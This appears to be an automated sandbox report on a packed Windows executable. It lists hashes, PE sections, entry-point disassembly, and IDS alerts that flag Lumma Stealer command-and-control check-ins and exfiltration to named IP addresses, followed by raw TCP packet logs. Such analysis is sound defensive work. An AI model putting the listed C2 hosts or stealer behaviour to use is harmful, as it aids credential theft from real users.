Entropy (8bit):	7.950077060012696
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'845'760 bytes
MD5:	1cf0d9bb6174853f764aaba59a7cd239
SHA1:	39f4f9c5c7c3a38bd704d3e7e011b5cff63e35e8
SHA256:	fb1dcb1d52ec39fefd8fc2311824d6795911709e8e16f42e0038ecfc68f49c4e
SHA512:	f55e4359a4d9b9fd032e49c9e9d9f42cdffbbb94588e25c23191dac93b2656a254ff330872989e119c543e3582f27a829bfbfde06860b7618a518bbd3e80a8f6
SSDEEP:	24576:pBBguje9JoRa//7rP8sI1e8RZkrHz9nTavX2Lh/gLM4POdeJfsOWM1uIoAyz2lVc:bBg8M3ELeukrRTYGNYo00OhsAsNrEGx
TLSH:	CE8533879502DD02EDF800FF02E82B2C3A754A44D68B7F2F4B245958FA73D56DBB94A4
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...Q<?g............................. I...........@..........................PI.....<.....@.................................\...p..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x892000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x673F3C51 [Thu Nov 21 13:57:37 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FE1C87FCB6Ah
invd
sbb al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FE1C87FEB65h
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [edx+ecx], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [edx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5805c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x57000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x581f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x56000	0x26200	e4699c097094b61fbba624ffab824fc0	False	0.9992635758196722	data	7.979884343292066	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x57000	0x2b0	0x200	6bf7f87ee49f1a4d5479097692f70937	False	0.796875	data	6.0174474390978405	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x58000	0x1000	0x200	c92ced077364b300efd06b14c70a61dc	False	0.15625	data	1.1194718105633323	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x59000	0x29f000	0x200	c52b73a81709a92880c1902ea17c08da	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
obdpnpls	0x2f8000	0x199000	0x198a00	9e936ad7e606c3be5e3912f3bafe5254	False	0.9942487668247171	data	7.954366590054844	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nxyctjky	0x491000	0x1000	0x600	2a347871ed95fb51b1a0784e698e96ba	False	0.525390625	data	4.776935310501065	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x492000	0x3000	0x2200	c5cac35bfd7fdc637bd77ec582b41281	False	0.06433823529411764	DOS executable (COM)	0.8280065942906116	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4905fc	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-24T05:11:19.681078+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49703	104.21.33.116	443	TCP
2024-11-24T05:11:20.382137+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49703	104.21.33.116	443	TCP
2024-11-24T05:11:20.382137+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49703	104.21.33.116	443	TCP
2024-11-24T05:11:21.730278+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49705	104.21.33.116	443	TCP
2024-11-24T05:11:22.418578+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49705	104.21.33.116	443	TCP
2024-11-24T05:11:22.418578+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49705	104.21.33.116	443	TCP
2024-11-24T05:11:24.025707+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49711	104.21.33.116	443	TCP
2024-11-24T05:11:24.819017+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49711	104.21.33.116	443	TCP
2024-11-24T05:11:26.247580+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49717	104.21.33.116	443	TCP
2024-11-24T05:11:28.559552+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49723	104.21.33.116	443	TCP
2024-11-24T05:11:31.081913+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49729	104.21.33.116	443	TCP
2024-11-24T05:11:33.767751+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49736	104.21.33.116	443	TCP
2024-11-24T05:11:39.218312+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49756	104.21.33.116	443	TCP
2024-11-24T05:11:39.949887+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49756	104.21.33.116	443	TCP
2024-11-24T05:11:41.413113+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49761	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2024 05:11:10.395817995 CET	49674	443	192.168.2.7	104.98.116.138
Nov 24, 2024 05:11:10.395821095 CET	49675	443	192.168.2.7	104.98.116.138
Nov 24, 2024 05:11:10.520767927 CET	49672	443	192.168.2.7	104.98.116.138
Nov 24, 2024 05:11:12.615091085 CET	49677	443	192.168.2.7	20.50.201.200
Nov 24, 2024 05:11:12.989543915 CET	49677	443	192.168.2.7	20.50.201.200
Nov 24, 2024 05:11:13.411446095 CET	49671	443	192.168.2.7	204.79.197.203
Nov 24, 2024 05:11:13.739588022 CET	49677	443	192.168.2.7	20.50.201.200
Nov 24, 2024 05:11:15.239463091 CET	49677	443	192.168.2.7	20.50.201.200
Nov 24, 2024 05:11:18.223870993 CET	49677	443	192.168.2.7	20.50.201.200
Nov 24, 2024 05:11:18.409627914 CET	49703	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:18.409662008 CET	443	49703	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:18.409727097 CET	49703	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:18.415059090 CET	49703	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:18.415076971 CET	443	49703	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:18.763533115 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:18.763578892 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:18.763655901 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:18.764100075 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:18.764108896 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:19.680964947 CET	443	49703	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:19.681077957 CET	49703	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:19.684484959 CET	49703	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:19.684505939 CET	443	49703	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:19.684963942 CET	443	49703	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:19.739520073 CET	49703	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:19.750150919 CET	49703	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:19.750184059 CET	49703	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:19.750274897 CET	443	49703	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:20.005120039 CET	49674	443	192.168.2.7	104.98.116.138
Nov 24, 2024 05:11:20.005708933 CET	49675	443	192.168.2.7	104.98.116.138
Nov 24, 2024 05:11:20.130280018 CET	49672	443	192.168.2.7	104.98.116.138
Nov 24, 2024 05:11:20.382159948 CET	443	49703	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:20.382256985 CET	443	49703	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:20.382420063 CET	49703	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:20.384393930 CET	49703	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:20.384411097 CET	443	49703	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:20.473037958 CET	49705	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:20.473077059 CET	443	49705	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:20.473170042 CET	49705	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:20.473468065 CET	49705	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:20.473488092 CET	443	49705	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:20.551054955 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:20.551147938 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:20.553710938 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:20.553718090 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:20.553963900 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:20.561635017 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:20.607341051 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.050949097 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.050977945 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.050992966 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.051203966 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.051219940 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.051379919 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.236644983 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.236720085 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.236747980 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.236761093 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.236793995 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.236793995 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.292068005 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.292138100 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.292154074 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.292164087 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.292206049 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.292220116 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.422545910 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.422595978 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.422631979 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.422643900 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.422703028 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.452224016 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.452270985 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.452320099 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.452327013 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.452383995 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.452383995 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.471771002 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.471831083 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.471976042 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.471976042 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.471985102 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.472049952 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.488656998 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.488706112 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.488787889 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.488795042 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.488943100 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.488943100 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.616214991 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.616274118 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.616316080 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.616323948 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.616374969 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.616374969 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.630040884 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.630084991 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.630148888 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.630155087 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.630199909 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.630199909 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.645878077 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.645926952 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.645996094 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.645996094 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.646007061 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.646130085 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.658931971 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.658948898 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.659013987 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.659020901 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.659049034 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.659061909 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.668752909 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.668770075 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.668828011 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.668833971 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.668874979 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.668874979 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.680690050 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.680706978 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.680778027 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.680783987 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.680800915 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.680850029 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.730211973 CET	443	49705	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:21.730278015 CET	49705	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:21.733042955 CET	49705	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:21.733061075 CET	443	49705	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:21.733309031 CET	443	49705	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:21.735306978 CET	49705	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:21.735395908 CET	49705	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:21.735413074 CET	443	49705	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:21.811940908 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.812012911 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.812014103 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.812077045 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.812205076 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.812223911 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.812233925 CET	49704	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.812241077 CET	443	49704	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.937901020 CET	49706	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.937932968 CET	443	49706	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.938014030 CET	49706	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.940038919 CET	49707	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.940067053 CET	443	49707	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.940170050 CET	49707	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.941112041 CET	49708	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.941142082 CET	443	49708	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.941214085 CET	49708	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.941802979 CET	49706	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.941829920 CET	443	49706	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.943463087 CET	49709	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.943527937 CET	443	49709	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.943615913 CET	49709	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.943717003 CET	49709	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.943751097 CET	443	49709	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.943967104 CET	49708	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.943973064 CET	49707	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.943980932 CET	443	49708	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.943988085 CET	443	49707	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.945811987 CET	49710	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.945822954 CET	443	49710	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:21.945893049 CET	49710	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.946005106 CET	49710	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:21.946010113 CET	443	49710	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:22.418540001 CET	443	49705	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:22.418584108 CET	443	49705	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:22.418617010 CET	443	49705	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:22.418644905 CET	443	49705	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:22.418675900 CET	443	49705	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:22.418680906 CET	49705	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:22.418719053 CET	443	49705	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:22.418747902 CET	49705	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:22.418767929 CET	49705	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:22.426734924 CET	443	49705	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:22.426831007 CET	443	49705	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:22.426898956 CET	49705	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:22.426908970 CET	443	49705	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:22.443423986 CET	443	49705	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:22.443558931 CET	443	49705	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:22.443598032 CET	49705	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:22.443608046 CET	443	49705	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:22.443661928 CET	49705	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:22.538223028 CET	443	49705	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:22.583290100 CET	49705	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:22.619514942 CET	443	49705	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:22.619648933 CET	443	49705	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:22.619750023 CET	49705	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:22.619751930 CET	443	49705	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:22.619839907 CET	49705	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:22.619961977 CET	49705	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:22.619992018 CET	443	49705	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:22.620008945 CET	49705	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:22.620016098 CET	443	49705	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:22.713572979 CET	49711	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:22.713618994 CET	443	49711	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:22.713704109 CET	49711	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:22.714014053 CET	49711	443	192.168.2.7	104.21.33.116
Nov 24, 2024 05:11:22.714025974 CET	443	49711	104.21.33.116	192.168.2.7
Nov 24, 2024 05:11:23.020742893 CET	49671	443	192.168.2.7	204.79.197.203
Nov 24, 2024 05:11:23.236351013 CET	443	49702	104.98.116.138	192.168.2.7
Nov 24, 2024 05:11:23.236527920 CET	49702	443	192.168.2.7	104.98.116.138
Nov 24, 2024 05:11:23.666016102 CET	443	49706	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:23.666594028 CET	49706	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:23.666609049 CET	443	49706	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:23.667128086 CET	49706	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:23.667133093 CET	443	49706	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:23.667182922 CET	443	49710	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:23.667665005 CET	49710	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:23.667678118 CET	443	49710	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:23.667992115 CET	49710	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:23.667995930 CET	443	49710	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:23.733187914 CET	443	49709	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:23.733671904 CET	49709	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:23.733694077 CET	443	49709	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:23.733969927 CET	49709	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:23.733975887 CET	443	49709	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:23.734102011 CET	443	49707	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:23.734359026 CET	49707	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:23.734380007 CET	443	49707	13.107.246.63	192.168.2.7
Nov 24, 2024 05:11:23.734731913 CET	49707	443	192.168.2.7	13.107.246.63
Nov 24, 2024 05:11:23.734740973 CET	443	49707	13.107.246.63	192.168.2.7
